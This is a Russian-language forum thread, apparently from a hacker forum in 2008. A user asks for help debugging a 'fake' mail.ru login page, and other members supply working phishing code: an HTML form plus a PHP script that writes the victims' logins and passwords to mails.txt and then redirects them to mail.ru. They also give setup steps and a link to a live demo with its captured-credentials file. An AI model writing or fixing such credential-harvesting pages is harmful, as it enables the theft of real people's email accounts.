Где ошибка в php скрипте?
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Где ошибка в php скрипте? - 2008-11-25 16:33:17.533333
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Вот это форма для ввода логина и пароля (вся введённая инфа передаётся скрипту "enter.php": <form action="enter.php" method=POST> Логин: <input type="text" name="login" size=30><br> Пароль: <input type="password" name="pass" size=30><br> <input type=submit value="Войти"> </form> А вот и php скрипт (он должен записать введённую инфу в файл "mails.txt": <? $log = $_POST["login"]; $pas = $_POST["pass"]; if($log == "" && $pas == "") { echo "Please fill login&password fields";exit;} $file = "mails.txt"; $f p = fopen($file, "w+"); fwrite($fp, "$log:$pas\r\n"); fclose($fp); echo "<sсriрt>document.locaton.href="http://mail.ru";</sсriрt>"; ?> 1. Я включаю index.php 2. Ввожу в форму логин и пароль 3. Инфа передаётся скрипту enter.php 4. И скрипт должен записать инфу в mails.txt и перевести юзера на mail.ru Где сдесь может быть ошибка??? Заранее огромное спасибо!
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 16:52:16.196666
|
|
|
kolPeeX
Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
|
А что работает не так? Какую ошибку выводит? quote:
if($log == "" or $pas == "") //… $fp = fopen($file, "w+"); P.S. Кривожопый фейк, ИМХО.
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:00:46.463333
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Я ввожу логин и пасс. И получаю код скрипта: <? $log = $_POST["login"]; $pas = $_POST["pass"]; if($log == "" && $pas == "") { echo "Please fill login&password fields";exit;} $file = "mails.txt"; $f p = fopen($file, "w+"); fwrite($fp, "$log:$pas\r\n"); fclose($fp); echo "<sсriрt>document.locaton.href="http://mail.ru";</sсriрt>"; ?>
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:03:03.780000
|
|
|
kolPeeX
Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
|
quote:
ORIGINAL: xakep_svetik Я ввожу логин и пасс. И получаю код скрипта: <? $log = $_POST["login"]; $pas = $_POST["pass"]; if($log == "" && $pas == "") { echo "Please fill login&password fields";exit;} $file = "mails.txt"; $f p = fopen($file, "w+"); fwrite($fp, "$log:$pas\r\n"); fclose($fp); echo "<sсriрt>document.locaton.href="http://mail.ru";</sсriрt>"; ?> У тебя не настроен php на вебсервере. Попробуй вместо <? поставить <?php
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:03:26.246666
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
quote:
$f p = fopen($file, "w+"); пробел между f и р намеренно сделан? и еще quote:
'w+' Открывает файл для чтения и записи; помещает указатель в начало файла и обрезает файл до нулевой длинны. Если файл не существует - пробует его создать.
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:11:35.266666
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Да с пробелом и без пробела… тоже((. FriLL Ты бы мог помочь заного написать скрипт записывающий введённую инфу в файл в форме: <form action="enter.php" method=POST> Логин: <input type="text" name="login" size=30><br> Пароль: <input type="password" name="pass" size=30><br> <input type=submit value="Войти"> </form> ??? Я буду очень благодарен.
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:14:04.533333
|
|
|
QunneD
Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
|
давай я помогу?
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:14:58.673333
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Ну или сайт дать где уже исходные коды готовы???
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:16:07.626666
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
QunneD Давай, если не занят и сможешь. Буду тоже благодарен)
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:23:55.473333
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
<?php $f = fopen("pass.txt", "a"); fputs($f,$_POST['pass']); fputs($f,'~'); fputs($f,$_POST['login']); fputs($f,\n); fclose($f); ?> ~ - разделение между логином и паролем
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:25:51.303333
|
|
|
QunneD
Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
|
quote:
<html> <head> <title></title> </head> <bоdу> <div align="center"> <form method="post" action="enter.php"> <table> <tr><td><span>Логин:</span></td><td><input type="text" name="login" /></td></tr> <tr><td><span>Пароль:</span></td><td><input type="password" name="pass" /></td></tr> </table> <input type="submit" value="Войти" /> </form> </div> </bоdу> </html> quote:
<?php $log = $_POST['login']; $pass = $_POST['pass']; if (empty($log) or empty($pass)) { echo("Please fill login or password"); } else { $file = "mails.txt"; $f = fopen($file, "a"); fwrite($f, "$log;$pass \r\n"); fclose($f); echo("<sсriрt language=javasсriрt>document.location='http://mail.ru'</sсriрt>"); } ?>
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:35:05.510000
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Спасибо огромное!!!:)
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:37:51.120000
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
А можешь объяснить как и где это прописать???)
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:43:34.153333
|
|
|
QunneD
Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
|
Открываеш блокнот, вставляеш то что первое я написал. И сохраняеш как index.html Когда сохранила, очисти весь этот текст и вставь то что я написал второе. И сохрани как enter.php А вот пример работы кода, http://www.rewancer.com/fake0000/index.html
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:43:41.996666
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Я так понимаю в php файле. Я ввожу логин и пасс. И открывается на страничке код скрипта(((. Что делать?
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:44:54.826666
|
|
|
QunneD
Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
|
Когда ввел что-то смотри здесь http://www.rewancer.com/fake0000/mails.txt
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:52:44.390000
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
qunned@gmail.com;ahuyvrot? )))))))))))))))))))))))))))))
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:54:10.766666
|
|
|
QunneD
Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
|
я бы не дал свой пароль :)
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:57:04.953333
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Открывается форма для ввода логина и паса. Ввожу любые символы. жму вход. Открывается страничка enter.php: <?php $log = $_POST['login']; $pass = $_POST['pass']; if (empty($log) or empty($pass)) { echo("Please fill login or password"); } else { $file = "mails.txt"; $f = fopen($file, "a"); fwrite($f, "$log;$pass \r\n"); fclose($f); echo("<sсriрt language=javasсriрt>document.location='http://mail.ru'</sсriрt>"); } ?> А в mails.txt Ничего нет((( Что делать???? А кстати я это делаю просто запускаю с рабочего стола этот файл - index.html и enter.php и mails.php тоже на рабочем столе.
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 17:59:45.020000
|
|
|
QunneD
Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
|
Ты щас про что, про свой mails.txt или про мой?
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 18:00:56.816666
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
Про свой
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 18:02:39.660000
|
|
|
QunneD
Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
|
Я под столом, люди объясните ему почему не работает… бугагага :D:D:D
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 18:02:43.503333
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
QunneD Плиз в личку можешь всё подробно мне описать? Я ща на 15 минут офф. Заранее спасибо!)
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 18:04:01.863333
|
|
|
xakep_svetik
Сообщений: 226
Оценки: 0
Присоединился: 2008-11-11 18:26:51.376666
|
А кстати я это делаю просто запускаю с рабочего стола этот файл - index.html и enter.php и mails.php тоже на рабочем столе. < Сообщение отредактировано xakep_svetik – 25.11.2008 18:00:29 >
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 18:04:36.833333
|
|
|
QunneD
Сообщений: 833
Оценки: 0
Присоединился: 2008-11-09 20:54:38.113333
|
Я тоже занят, тебе в помощь http://www.google.ru/search?hl=ru&newwindow=1&q=%D0%A3%D1%81%D1%82%D0%B0%D0%BD%D0%B0%D0%B2%D0%BB%D0%B8%D0%B2%D0%B0%D0%B5%D0%BC+%D0%94%D0%B5%D0%BD%D0%B2%D0%B5%D1%80+%C2%AB+Denwer&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=&aq=f&oq=
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 19:05:22.606666
|
|
|
kolPeeX
Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
|
Блин! Еще в начале написал, в чем проблема! Глаза разуй.
quote:
ORIGINAL: kolPeeX У тебя не настроен php на вебсервере.
|
|
|
RE: Где ошибка в php скрипте? - 2008-11-25 19:59:35.580000
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
http://forum.xakep.ru/fb.aspx?m=1215681 Зы: советую купить книгу и читать, читать, читать.
|
|
|
|
|